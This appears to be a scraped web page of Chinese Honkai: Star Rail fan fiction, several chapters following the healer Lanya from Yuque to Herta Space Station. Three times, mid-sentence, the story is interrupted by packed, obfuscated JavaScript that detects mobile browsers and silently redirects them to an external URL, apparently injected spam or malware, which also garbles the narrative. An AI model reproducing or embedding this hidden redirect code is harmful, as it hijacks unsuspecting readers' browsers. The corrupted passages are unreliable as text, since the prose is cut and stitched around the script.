竟天眼底闪过一丝了然,那表情像是一个猜到了答案的人,在听到答案被说出来时,不是惊喜,而是确认。 他没有追问,只是指尖轻轻摩挲着茶杯,目光望向窗外依旧残破的天穹,语气带着几分玄奥。 “我以十方光映法界卜算你的轨迹,只见一片混沌,却有终末的微光萦绕。” 他顿了顿,像是在整理语言。 “再观医师的双针,想来其中一针是时钟上的所得,故而能溯回躯体的时间,停止伤势蔓延。又闻丹鼎司医士称,你自己所说,伤者只能解一时之痛,未来不知何时,定会迎接同样的命运。故而,我猜医师乃是终末命途行者。” 兰涯低头看了看自己的双手,很多长期使用工具的人,手指上都会有薄薄的茧,比如白焰握笔,游侠持枪。这双手经历了很多,但什么都没有,指节分明,指甲剪得很短,此外和白纸一样干净。 这些年来,她周游星际,救死扶伤,见证过战火纷飞,见证过生灵涂炭,见证过生命的脆弱与坚韧。无数人问过她的命途,她自己也无数次问过自己:究竟走在什么命途上? 是巡猎?她救的是巡猎命途上的游侠和云骑,但她没有浓烈的恨意。 是终末?她的针能逆转时间,但她不是为了预言终末,她是为了推迟死亡。 是开拓?她走过很多地方,但她没有列车,没有银轨,没有同行者。 她不知道。 兰涯没有回应竟天关于终末命途的论断,只是说:“我从未想过自己是什么命途,也不知道自己属于哪一条命途。” 她突然像是想到了一个让自己满意的答案:“假如非要给我的前行之路定一个名字,若有个命途叫兰涯,那我或许就走在这条命途上。” 这句话没有丝毫矫情,只有最真实的坦然。 她不觉得自己属于任何一条既有的命途,她的路是她自己走出来的,每一步都是自己的脚踩出来的,不是从哪个星神那里借来的。 竟天闻言微微一怔,随即笑了,笑意里有释然,也有赞许。 他研究宿命一生,坚信万物皆有定数,却从未想过有人能跳出命途的桎梏,以自身为途,随心而行。 “好一个命途叫兰涯。”他说。 他垂下目光,看着杯中的茶汤。茶汤清亮见底,倒映着窗外的云海。 “玉阙的危机尚未完全解除,丰饶令使倏忽虽退,却未彻底覆灭,仙舟仍需守护。”竟天语气重新变得沉稳,“医师手中的双针之力,是机缘,也是未知的变数。无论医师走在哪条路上,愿守住初心,莫要被宿命裹挟。” 听竟天这么说,兰涯不由问:“太卜常被宿命裹挟吗?” 竟天抿了一口茶,老神在在地说:“我测算出自己将会断绝在弟子手中,即便如此,我也依然遵循着命运的安排。哎,测算得越多,命数就越少,我们卜者的常事罢了。” 他就这么轻描淡写地将自己所算的未来说出来,语气里没有悲伤,没有恐惧,甚至没有遗憾,只有“就是这样”的自然而然。 兰涯忍不住再问:“你知道是哪位弟子吗?” “她尚未出生呢。”竟天慢悠悠地添茶,茶壶倾斜,茶汤从壶嘴里流出来,在杯中打了一个旋,然后安静下来,“以后医师若是见到我那弟子,也好帮我劝一劝她,告诉她为师并不责怪她,只是命数而已。” 他放下茶壶,动作很轻,壶底碰到桌面,发出一个很细很细的“咔”声。 “不过现在么……”竟天举杯示意,“医师的故人来接人了,我也不久留医师,还请自便。” 故人? 兰涯顺着竟天的示意转过头来,看到茶室门口站着一个人。 拉曼查。 他一身风尘仆仆,显然刚从玉阙以外的地方赶过来。风衣的下摆沾着灰,靴子上有泥,头发有些乱,几缕碎发贴在额头上。他的呼吸还没有完全平稳,胸口还在微微起伏,像是一个跑了一段很长的路、刚到终点的人。 按竟天的说法,他是来接自己的,可他怎么知道自己在玉阙仙舟? 走出茶室,兰涯这么问道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485887|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 拉曼查看到安然无恙的兰涯,放了大半的心。他的肩膀松了下来,解释道:“我正好在朱明仙舟。神医有所不知,你的名号在这次战后响彻仙舟,寰宇皆知。” 果不其然,他如愿以偿地看到了一脸状况外、满头问号的兰涯。 “外面现在各种传言沸沸扬扬。”拉曼查语气里带着几分无奈,又有几分好笑。 “有人说你是巡猎星神派下的令使,身负天弓赐福,所以才能轻易化解倏忽的瘴气。有人说你是活了万年的迷思行者,遍历寰宇,藏着起死回生的秘术。还有人说,你根本不是孤身一人,而是隶属于博识学会,是博识学会暗中培养的底牌。” 他顿了顿,又补充道:“更有夸张的,传言博识学会早就知晓你的身份,派你去医学院学习,本就是为了借你的力量巩固与仙舟联盟的关系。” 拉曼查一边说一边观察着兰涯的表情。兰涯一脸平淡,只是听到“博识学会”的时候,掏出了手机。 “怎么?”拉曼查问。 兰涯一边发消息一边说:“按照人类的说法,利用良好的医患人际关系。”她的手指在屏幕上快速点了几下,按下发送键,很快获得了回复。她看了一眼屏幕,把手机收回了口袋。 “好了,我给战略投资部的病人发了个消息,让他们控制一下流言。” 拉曼查摊了摊手。“公司这个时候意外的好用?” “公司也不是房间里假装视而不见的大象,该用用。”兰涯说着,看向拉曼查,“拉曼查妈妈来玉阙仙舟,就是为了接我?” 拉曼查张了张嘴,嘴唇动了几下,像是想说什么,但声音卡在喉咙里,怎么都出不来。半晌才叹了口气,那声叹息很长,像是一个人在水里憋了很久,终于浮出水面换了一口气:“我……你……我……哎哟!” 玉阙仙舟的战火渐渐平息,这座历经劫难的仙舟即将重新起航。 博学士军团已经回程了。碍于身份和流言,以及和白焰的约定,兰涯干脆暂留仙舟,毕业证也不要了。 她觉得自己不需要那张纸,她需要的东西已经在课堂上拿到了,剩下的那些课程,比如医院管理、医疗法规、医疗保险理赔,她实在想不出自己有什么必要去学。 结果没几日,医学院就发来了兰涯和白焰两人的毕业证书。 白焰引用了仙舟古话说:“前倨而后恭,思之令人发笑。”她的狐耳抖了抖,嘴角撇着,表情像是一个吃了酸橘子的人。 可惜以兰涯四舍五入等于没有的读空气技能来说,她也不明白医学院在白焰嘴中的“前倨”在哪里,“后恭”又在哪里。 这件事已经不足以让兰涯留心了。难得享受这身体不疼的时光,她流连于丹鼎司的书库中。 丹鼎司的书库很大,书库里的空气带着纸张和墨水的气味,还有一种说不清道不明的、属于时间的味道。 她在这里一待就是一整天,完全没有注意到白焰最近早出晚归,一脸高深莫测,不,狐狐祟祟。 19. 第 19 章 直到半个月后,白焰神秘兮兮地拉着兰涯来到了丹鼎司后院的房间。 真相大白。 丹鼎司与云骑军的姑娘们等在那里,还有衣架上一套精致的衣裳。 牵头的是丹鼎司的医士青禾与云骑军的校尉苏湄,为了表达对兰涯的感谢之情,姑娘们商议了半日,决定亲手为兰涯定制一套衣装。 摒弃了仙舟服饰中常见的华丽云纹、垂坠流苏与繁琐配饰,不要什么华丽的仙舟朝服,也不要繁琐的礼仪服饰,只求一套简约利落、便于行动、又能藏着她们感谢心意的衣服。 姑娘们先拉来白焰,然后召集了丹鼎司擅长女红的医士,还有云骑军中手艺精巧的姑娘,一起商议衣装的设计。每一个细节都反复斟酌,领口要不要加边,袖口要不要收束,衣摆要多长才既方便行走又不显得局促。有人画了十几张设计图,每一张都被讨论过、修改过、然后推翻重来。 在颜色的选择上,她们争论了许久。最终选定了黑、蓝与银白三种颜色,做渐变处理,领口以沉稳的黑色为底,缓缓过渡到深邃的蓝,再到衣摆的银白。层层递进,低调又高级,既不张扬,还能在光影下泛着独特的光泽。 衣料的选择上,她们费尽心思。从战后玉阙仙舟仅有的库存中搜罗来灵蚕丝。这种丝线质地柔软,却异常耐磨,透气性极佳,无论是奔走战场还是日常行走都不会束缚行动,更不会因长时间穿着而感到不适。灵蚕丝本身带着淡淡的莹光,与渐变的颜色相融,在阳光下会泛着细碎的光泽,不刺眼,却足够动人。 虽然摒弃了繁复的纹样,可姑娘们依旧在细节处藏满了心意。封腰处,她们绣了一朵小小的兰花,花瓣用金线填充,内里花蕊用银线勾勒,那朵花很小,不仔细看几乎看不到,但看到了就会忍不住多看几眼。 领口处做了简约的交领设计,边缘用银线滚了一圈细细的包边,既利落又精致,不会显得呆板。衣摆处微微放宽,便于行走与奔跑,袖口也做了束口设计,避免了行动不便的困扰。 为了让衣装更贴合兰涯的身形,白焰趁着兰涯不备,悄悄量下了她的尺寸。她量得很仔细,每一个数字都量了好几遍,生怕出错。反复修改裁剪,哪怕是一丝一毫的偏差都要重新调整。足足忙碌了半个月,这套衣装才终于完成。 现在是送上心意的时刻了。 兰涯被这份沉甸甸的心意感动到了。她的指尖抚过细腻坚韧的灵蚕丝,触感温润,像摸到了清晨的露水。渐变的黑、蓝与银白在光线下晕开柔和的光泽,像一条被折叠起来的银河。 每一处细节都藏着姑娘们的用心,处处皆是真诚。往日里平淡的眼眸此刻泛起了暖意,她习惯了独自前行,从未想过,自己竟能被这般记挂、这般珍视。 兰涯嘴角扬起,眼睛里多了几分人间的柔软。她抬头看向眼前满眼期待的姑娘们,声音格外清晰:“谢谢你们,这份心意,我记下了,很珍贵。” 白焰笑着催促:“快去试试看,合不合身?” 兰涯换上了姑娘们为她定制的新衣,从内室里走出来,姑娘们脸上的笑容越发灿烂。 阳光洒在她身上,瞬间照亮了那身衣装,黑色沉稳大气,深蓝深邃内敛,银白清冷灵动,层层渐变自然流畅,没有丝毫突兀。灵蚕丝的衣料在阳光下泛着细碎的莹光,如同星屑落在衣摆上,熠熠生辉。 兰涯耳边似乎响起了阿哈的声音:“好好好,这身衣服一看就能进卡池!” 那声音很轻,像是从很远的地方传来的,又像是从她自己脑子里冒出来的。她下意识地摸了摸发间的面具发夹,面具装死不动,像一只在冬眠的熊。 姑娘们笑着招呼兰涯一起去聚餐。白焰拉着她的手,众人走出丹鼎司。走到半路,白焰想起要去取预约好的奶茶,便急急地招呼苏湄一起去取,两个人小跑着消失在街角。 兰涯一个人跟着姑娘们,漫步在玉阙仙舟的街道上。 玉阙仙舟巍然矗立如亘古仙山,琼楼连绵似玉砌。云海缭绕间,青瓦覆顶的楼宇层层叠叠直抵天际,飞檐翘角衔流云。 哪怕经历了战争,这里也步步是景。街边的铺子有些已经重新开张了,卖包子的、卖茶的、卖药的,店主们在门口招呼客人,脸上带着劫后余生的笑容。 转过这个弯,兰涯抬眼看见不远处的街角,拉曼查正站在那里。 他的表情很奇怪。平日里从容洒脱的他,今日竟没有挥手打招呼。他的手垂在身侧,像是忘了怎么抬起来。 他的眼神有些躲闪,看一眼兰涯,又移开,看一眼,又移开,像一只被探照灯照到的小狗,不知道该往哪边走。 这让兰涯更奇怪了:“你怎么了?” 拉曼查张了张嘴,嘴唇动了几下,最终只憋出了干巴巴的三个字:“很好看。” 兰涯点点头,今天得到姑娘们的心意,让她非常幸福:“谢谢。” 她以为拉曼查在说衣服好看,确实好看,姑娘们的手艺很好,灵蚕丝的衣料在阳光下泛着光,渐变的黑蓝银像一幅流动的画。 不远处,姑娘们招呼着:“兰医师,这里这里!” 拉曼查又张了张嘴,还想再说些什么。兰涯已经转过身朝姑娘们走去,衣摆上的光泽在阳光下如宝石流光。 那道光从她的衣摆上折射出来,像一颗星星落在了眼睛里。他看着那道光,看着她的背影,看着她走向那些姑娘们,看着她被她们围住,拉着手,笑着说话。 他就站在那里,看着那道光,一点一点地远去。 战后的玉阙渐渐恢复生机,街巷间的烟火气日渐浓厚。卖早点的铺子重新支起了蒸笼,白茫茫的蒸汽从笼屉缝隙里钻出来,混着包子和糕点的香味,在清晨的空气里飘散。 茶楼里的说书人又拿起了折扇,醒木一拍,讲的是云骑军如何死守玉阙、博学士军团如何驰援、那位神秘的绝境医师如何以一己之力扭转战局。茶客们听得入神,手里的茶凉了也没察觉。 街边的药铺门口排起了长队,有人在买治伤的药,有人在买补身子的补品,有人在买安神助眠的方子。战后的玉阙,需要安抚的不只是身体,还有那些被炮火震碎了的神经。 兰涯本想再多留几日,可来自黑塔空间站的紧急委托,让她不得不提早离开。 姑娘们送了许多东西,多到她这里实在放不下。青禾塞了好几包丹鼎司特制的药茶,说是能安神助眠、缓解疲劳。苏湄送了一把云骑军制式的短刀,说是防身用的,小巧轻便,不占地方。白焰更是把整个玉阙好吃的糕点蜜饯搜罗了一遍。 此外还有其他姑娘们送的各种小物件堆了满满一桌。兰涯看着那堆东西,觉得自己像是要去远行的小姑娘,被家里的姐姐们往行李里塞各种万一用得上的东西。 她实在带不了这么多,干脆委托拉曼查暂存,等他仙舟的事办完。 “反物质军团集结了大量战舰和末日兽,”兰涯解释道,“同时对湛蓝星和黑塔空间站发起了攻击。攻势猛烈,站长艾丝妲亲自指挥防御作战,在作战中不慎受伤,虽然不算致命,却也影响了身体机能。” 她想了想,补充道:“艾丝妲站长,其实是布鲁斯理事的女儿。他得知我在玉阙,特意发来委托,希望我能前往空间站,为艾丝妲治疗。” 拉曼查收下她的那堆东西,把那几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485888|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个包裹摞在一起,抱在怀里,看起来像菜鸟驿站站长。 “好,我就当一回快递员回基地。”他的语气里带着调侃,把包裹在怀里调整了一下位置,确保不会掉。 兰涯想起了他是从朱明仙舟过来的,问:“你不回朱明仙舟?” “我在仙舟的事也办完了。”拉曼查指了指自己的手腕。 他的手腕上始终钉着三枚古朴的金属钉,钉身泛着淡淡的玄色光泽,上面刻着复杂的纹路。那三枚钉子钉在皮肉里,周围的皮肤微微发红,但没有肿胀,没有溃烂,边缘干净利落,像是被某种力量固定住了。 “和封印影子的钉子有关?”兰涯问,目光落在金属钉上。 她记得那三枚钉子。从第一次见到拉曼查的时候,她就注意到了它们。 那时候钉子周围是黑色的,黑色的影子想尽办法从钉子下面蔓延出来。现在那些影子乖乖缩回去了。 拉曼查坦然地将手腕递到她面前,说道:“这是三才钉。此次我前往朱明仙舟,便是为了请怀炎将军加固三才钉的封印。” 自诛罗之战,已经不知过去多久。兰涯平日里没什么特别细微的时间流动的概念,日子对她来说是一条没有刻度的线,看不到起点,也看不到终点。 但看着他手腕上的三才钉,她想起了那场大战中贪饕的影子。那些黑色的纹路在他手臂上蠕动的样子,那些绷带下面时隐时现的暗影,那些被她用金针固定住的边界。 “很疼吧?”她忍不住产生了共情。 拉曼查诚实地说:“你固定了影子和身体的边界后,侵蚀不多,就是会幻痛。那也是没办法的事,毕竟是如此危险的东西。” 那也是没办法的事。这句话,兰涯在无数次疼痛中也这么对自己说。 那时候她对自己说:忍一忍,这很正常,等战争结束,就不疼了,也是没办法的事。 可从旁人嘴里说出来,总觉得哪里不对劲。 是了,自己理应如此,可现在自己对面的只是普通人类而已。 不应如此。对,不应该这样。一个人类不应该习惯了疼痛,不应该觉得幻痛也是没办法的事,不应该用这样的措辞来打发自己的伤口。 拉曼查看着她脸上纠结的表情,笑着摆摆手:“没事,仔细说来,还得谢谢你。和影子侵蚀血肉比起来,幻痛不算什么。” 他的笑容很轻松,像是在说一件不值一提的小事。 但兰涯清楚,幻痛这种东西,一次两次可以忍,十次百次可以忍,千次万次呢?忍到最后,就疼习惯了? 疼习惯了这个想法,本身就很疼。 兰涯不多说了,伸出手:“来吧。” 拉曼查愣了:“什么?” “拥抱啊。”兰涯理所当然地说,“不是你说的吗,用拥抱来代替告别。” 她的手臂微微张开,动作有些生硬。但她的眼睛是认真的,没有犹豫,没有不好意思,只是觉得这是一件该做的事。 上次他拥抱了她,她说了“下次还填非常简单”。她觉得那是她说过的最好的话之一。不是因为它有多幽默,而是因为它让拉曼查在自己面前产生了有趣的表情。 拉曼查身体一僵,然后故作一副轻松随意的样子,嘴角扯出一个弧度:“哈哈,我都差点忘了,来。” 他放下手里的东西,微微俯下身,轻轻地拥抱了一下,手臂环过她的肩膀,没有用力,只是轻轻地搭在那里,像搭着一件易碎品。 “一路平安。”他说。 然后松开了。 动作很快,快到像是生怕自己多抱一秒就会让仙舟的金人集体爆炸。 20. 第 20 章 独自在宇宙中跃迁是一件很愉快的事情。 星海在周围拉成细长的光丝,空间折叠又展开,一颗颗星辰从她身边掠过。 兰涯习惯这种旅行方式,不需要慢吞吞的飞船,不需要固定的银轨,只需要一个坐标,身体就会跟着虚数脉络的走向滑过去。 从玉阙到黑塔空间站的距离不短,她计算过,中间找个陨石带歇一歇倒也问题不大。 但这一次,她被拦住了。 一只黑猫出现在她的跃迁路径上,准确来说它站在一块漂浮的陨石上,安静地看着她。 陨石在星光的照射下泛着灰白色的光。黑猫蹲在陨石的最高处,尾巴从边缘垂下来,一动不动。 兰涯在虚无深渊见过黑猫,那只黑猫有金色的眼睛,给了她两枚针,一枚是终末的时针,一枚是开拓的指针。 那只黑猫蹭过她的手,她记得那个触感,毛茸茸的,温热的,在虚无的冰冷中格外清晰。 但眼前这只不一样。它的瞳孔是蓝色的,体型比那只金眼的大一些,毛也更短,贴在身上,像一层黑色的绒布。 “……”兰涯试探着开口,“咪?” 黑猫没有叫,它只是看了兰涯一眼,然后转身朝另一个方向走去。走了几步,又回头看她,尾巴在身后轻轻甩了一下。 兰涯读懂了这个意思,回头看她,是在确认她有没有跟上来,甩尾巴是在催促。 她犹豫了一瞬,目的地是黑塔空间站,艾丝妲在等她,布鲁斯在等她的消息,她不应该在路上耽误时间。 但这只猫的出现太奇怪了。深空里没有食物,没有空气,没有温度,一只普通的猫不可能活在这里。它和那只金眼的黑猫一样,不是普通的猫。 兰涯改了方向,跟着黑猫跃迁,也完全没有思考为什么猫也会跃迁。 第一次跃迁,黑猫落在了一片小行星带。碎石在虚空漂浮,大的像房子,小的像拳头,密密麻麻,像一条被冻结的河流。 黑猫踩着一块石头跳到另一块石头上,动作很轻,又回头看了兰涯一眼,尾巴在身后轻轻甩了一下。兰涯跟过去,黑猫再度跃迁。 第二次跃迁的目的地是附近一颗很小的行星。这颗星球不大,直径大概只有几十公里,表面灰扑扑的,没有大气层,没有植被,只有碎石和灰尘。 地面是松的,踩上去会陷下去一点点,像踩在沙滩上。黑猫走在前面,脚步很轻,在灰尘上留下一个个小小的脚印,兰涯继续跟着。 走了没多远,黑猫在一处低洼地停了下来。那里有一块突出的岩石,岩石下面坐着一个人。 一个青年。 他穿着深色的兜帽外套,帽子拉得很低,挡住了大半张脸,只露出下巴和嘴唇。他的皮肤很白,白得不像活人,像从来没有晒过太阳。 他安静地坐在那里,手放在膝盖上,像是等了很久。 黑猫跳到他肩膀上,蹲下来,尾巴绕着他的脖子。 青年抬起头,他的脸在兜帽以及乱糟糟的白色发丝阴影下看不太清楚,但他的眼睛很亮,蓝色的,和那只黑猫的瞳孔颜色一样。 “我是前列车领航员,我见。”他的声音不大,但很清楚,在真空的环境里,兰涯听不出声音是从哪里传来的,也许不是通过空气,“现在是终末的行者,遵从「末王」的意志而来。” 兰涯听过这个名字,拉曼查提过他。在诛罗之战后的那个夜晚,拉曼查急切地询问她有没有逆转被影子吞噬的战友的生命时提过,他说观星者指点他去取得贪饕的影子,告知了他代价。 “你是拉曼查提到的观星者。”兰涯说。 我见点了点头:“他拿到了贪饕的影子,也付出了代价。” “是的。”兰涯说,“诛罗战场上,影子吞噬了一切。” 我见没有立刻接话,他把肩膀上的黑猫拿下来,放在腿上,手指慢慢梳理着猫背上的毛。黑猫发出很低的声音,那种猫舒服时才会发出的细微的呼噜声。 这还真是猫啊。兰涯心想。 “那只是开始。”我见继续说,“拉曼查付出的代价刚刚开始。影子会一直吞噬下去,直到他死,或者直到影子离开。” 兰涯沉默了一会儿。她见过拉曼查手腕上的三才钉,见过下面蠕动的黑色影子,见过他一个人在基地角落按着钉子时咬牙的表情。 她问:“他取得贪饕的影子,也是「末王」的计划之内吗?” “是的,这是规避宇宙迎来终末的节点之一。”我见非常爽快,继续说,“还有一件事,要提醒你。” 兰涯看着他。 “拉曼查和贪饕的影子共生。影子吞噬了什么,他能尝到滋味。不是用嘴尝,影子的每一次吞噬,都会把「味道」传给他。” 我见停了一下,确认兰涯在听,然后继续说。 “命途的滋味,情绪的滋味,记忆的滋味。影子吞噬一个巡海游侠,他能尝到那个人的仇恨。影子吞噬一只虫群,他能尝到饥饿。影子吞噬一段记忆,他能尝到那个人最深的执念。所有被吞噬的东西,都会在他身上留下一层东西,像积雪,一层一层地压上去。” 兰涯眼皮跳了一下,她想到拉曼查坐在篝火旁的样子,在基地食堂吃饭的样子,从目前情况来看,影响味觉的程度并不深?或者说他装得太过自然? “到最后,”我见说,“他会和虚无的自灭者类似,失去味觉。不是尝不出味道,是味道不再有意义。甜的变成无味,苦的也变成无味,所有的东西都一样,没有任何区别。” 兰涯想起了芽衣,芽衣用甜味锚定自己,用桃子和红豆汤抓住那些快要消失的感觉。芽衣说如果连甜味都尝不到了,那一个人就真的离虚无不远了。 拉曼查从来没有提及这件事,也或者自己根本没有注意到一些细节。 兰涯回过神来,自己也没有资格震惊。她自己的身体随着宇宙的疼痛而疼痛,那些痛楚从虚数脉络的深处涌上来,像潮水一样,一波接一波,没有尽头,她也从来没有说过。 两个人都在瞒着对方。不是因为不信任,兜兜转转还是那句“那也是没办法的事”,有些东西只能自己扛。 “他会变成什么样?”兰涯问。 我见说:“不好说,我对他最大的希望是能活多久活多久,这样贪饕的影子就不会解开封印了。” 兰涯想起拉曼查手腕上的三才钉,想起他说“幻痛不算什么”时脸上轻松的笑容。当下我见对于拉曼查的期望,对拉曼查是一种漫长的看不到尽头的酷刑。 “你来这里就是为了跟我说这些?”兰涯问。 我见说:“不是。” 黑猫从他腿上跳下来,蹲在他脚边。他站起来,兜帽往下滑了一点,露出更多的脸,看起来年纪不大,但眼睛里有一种很沧桑的、像是看了太多东西之后才会有的疲惫。 “你是终末无数条时间线上没有见过的变量。”我见说,“每一次轮回,每一个分支,每一条时间线,终末都看过。从虚数之树扎根的那一刻起,到宇宙最后一次重启的终点,所有的时间线都被记录在终末的轮盘上。但你不在那些记录中。你是新出现的。” 兰涯问:“这有什么问题?” 我见说:“没有问题。「末王」没有说你必须消失,也没有说你必须存在。祂只是让我来告诉你一件事。” 他停了一下,低头看了看脚边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485889|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑猫。黑猫抬起头,用蓝色的眼睛看着他,尾巴在地上慢慢扫了一下。 “你要做好准备。就像你接受伤者终将迎来死亡的命运一样,你也要接受有些事情是你改不了的。未来有几个特殊定量,不可强求,不可更改。你可以在它们周围做任何事,但不能动它们本身。” 兰涯听明白了,他是来提醒她不要掀翻「末王」的剧本。 “展开说说。”她说,“我可以提前准备。” 我见思考了一下,风吹起他的兜帽,露出整张脸。他的面容很年轻,但眼角的细纹很深,像被人用刀刻过的。他的嘴唇很薄,抿着,没有笑意。 “仙舟罗浮的龙尊,必须彻底抛开往昔的束缚,在规定的时间点登上列车。” 兰涯在心里记下这句话。她没有问为什么,因为我见的语气不是在商量。 “亡国的公主,无漏净子之一,必须冰封记忆后登上列车。” 又是一条。兰涯在心里记下来,龙尊,公主。两个要在规定时间登上列车的人。她没有听说过“无漏净子”这个词,但记住了发音,回去可以查。 我见没有再说下去。他看着兰涯,蓝色的眼睛很安静,像两潭没有风的水。 “只有这些?”兰涯问。 “只有这些。”我见说,“提前知道太多,变量会变成定量。” 兰涯不太满意这个答案,她觉得对方至少可以告诉她“龙尊”是谁,“公主”在哪,什么时间点,什么事件。 但她想到了一个问题。如果有些事情是定量,那其他事情会不会影响到它们,就像蝴蝶扇一下翅膀,远处就会下一场雨。她不确定「末王」的剧本是不是也遵循这种规律。 “如果有人或者有事,影响了这两个定量,怎么办?”她问,“间接的,蝴蝶效应那种。” 我见看了她一眼,那双蓝色的眼睛没有什么变化,但兰涯觉得他早就知道她会问这个问题。 “排除一切困难,也要达成最后的结果。”他说,“不择手段。” 这四个字分量很重,但她明白我见的意思。 她也觉得对方不会再说更多了。他的嘴已经闭上了,黑猫也闭上了眼睛,整个人像一尊雕塑,坐在那里,不再说话。 她点了点头,表示自己记住了。 我见重新拉上兜帽,黑猫站在他脚边,尾巴竖着,像一面小小的旗,他又把兜帽往下拉了拉,遮住了更多的脸。 最后,兰涯终于想起了一个重要的问题。她摸了摸发间的两枚针,金色的时针和银色的罗盘指针。这两枚针来自那只金眼的黑猫,那只黑猫是终末的使者。她想确认一下它们的来历。 “双针是末王送的吗?”她问。 “不是。”我见回答得很快,没有任何犹豫。 不是末王送的,那只金眼的黑猫是谁?为什么要给她这两枚针?她还想问,但我见的身体已经微微侧过去了。 兰涯看出来,他要走了。 “你的出现让终末看到了新的可能性。但可能性只是可能性,不是结局。” 说完,我见转过身,朝另一个方向跃迁离开。黑猫跟在他脚边,步伐一致,一人一猫,在灰白色的地面上拉出长长的影子,一晃眼就不见了。 兰涯低头看了看自己的手,又抬头看了看星海。我见的话还在她脑子里转,龙尊,公主,列车,定量。 她不太明白这些意味着什么,但她觉得以后会明白的。她不是那种会在事情发生之前就焦虑的人,该来的总会来,该知道的总会知道。 她重新开始跃迁。星海在她周围拉成细长的光丝,空间折叠又展开,那颗灰扑扑的小行星很快就被抛在身后了。 21. 第 21 章 兰涯到达黑塔空间站的时候,站外的战斗还在继续。 能看到远处星海中有火光在闪,那是反物质军团的战舰在被空间站的防御系统拦截。有几艘末日兽的残骸漂浮在站体附近,外壳被炸得焦黑,还在往外冒烟。 一个穿着制服的工作人员在接驳口等她,确认了她的身份后,直接带她去了医疗舱。 艾丝妲有着一头和布鲁斯夫人一样漂亮的粉色头发,她躺在医疗舱的床上,右腿和左臂缠着绷带,脸上有一道擦伤,从颧骨拉到下颌。虽然脸色不太好,嘴唇发白,但眼睛是睁着的,看到兰涯进来还抬了抬手。 “兰医师。”她说,声音有点哑,“麻烦你跑一趟。” 兰涯走到床边,蹲下来看了看她的伤口。 绷带拆开后,能看到右腿小腿外侧有一片不规则的撕裂伤,不是刀砍的,是溅射伤,边缘参差不齐,肉翻在外面,已经做了清创和止血,但愈合得不好。左臂的伤轻一些,主要是淤青和擦伤。 “践踏者。”艾丝妲解释,“踩了一脚,没踩实,被护盾挡了一下,但还是溅到了。” 兰涯点了点头,没有多问。她拔出双针,金色的时针先落下去,稳住伤口周围的生机。银色的指针跟着落下,把伤口的状态往前推。 撕裂的皮肉开始往回缩,边缘变得整齐,然后慢慢长拢。整个过程大概用了不到两分钟。艾丝妲低头看着自己的腿,表情没什么变化,但呼吸平稳了不少。 “好了。”兰涯收起双针,“静养两天,不要剧烈活动。” 艾丝妲活动了一下脚踝,又弯了弯膝盖,确认没问题了,才说了一声谢谢。 兰涯正准备收拾东西离开,发现边上站着一个人偶。 黑塔的人偶站在边上,围观了整个治疗过程,两只玻璃珠一样的眼睛直直地盯着兰涯,一动不动。 兰涯看了它一眼,没有在意,继续收针。 人偶看了看艾丝妲的腿,又看了看兰涯手里的针,然后又看了看兰涯的脸。整个过程它的表情没有任何变化。 “你刚才用的是逆转时间的能力。”人偶开口了,它的声音和黑塔本人一样,带着一种理所当然的语气,不是在问,是在确认。 兰涯点了点头,看来这个人偶目前由黑塔女士本人操控。 “流言果然不可信,不是丰饶,不是存护,也不是巡猎。”黑塔继续说,“是终末。你走的是终末命途。” 兰涯说:“我不确定。” 人偶歪了歪头,那两只玻璃珠眼睛一眨不眨地盯着她。 “你的能力是把‘受伤’这个事实从时间轴上剥离。这不是治疗,这是改写因果。能做到这种程度的人,只有终末命途的行者。不,行者都做不到,你可能是令使。” 兰涯没有接话。她不太想讨论自己的命途,因为她确实不知道。 人偶没有因为她的沉默就停下来。它走到兰涯面前,上上下下打量了她一遍,然后说了一句让兰涯意外的话。 “我可以把你的数据作为终末命途的行者记录下来吗?” 兰涯愣了一下。不是因为问题本身,而是因为黑塔在征询她的意见。 在她的认知里,博识学会的人做事很少问别人同不同意。她见过那些学者,有的为了研究数据可以不择手段,有的把人当成样本,有的把伦理委员会当成摆设。 她在医学院读书的时候听说过,有些派系为了让实验数据更漂亮,会在受试者不知情的情况下篡改记录。还有更过分的,直接拿活人做试验,出了事就用公司的资源压下去。 所以她听到黑塔说“我可以吗”的时候,确实有点意外。 “你在征询我的意见?”兰涯问。 黑塔说:“当然。你是数据的来源,不经同意就采集是不对的。” 兰涯说:“博识学会有些派系不怎么做人。” “那是他们的事。我是天才俱乐部第83席,黑塔。我的研究不需要靠骗人来做。” 兰涯听得出黑塔骄傲的语气背后是人类良知的底线。这个人偶在告诉她,有些事情她不做,不是因为做不到,是因为不应该做。 “你要我的数据做什么?”兰涯问。 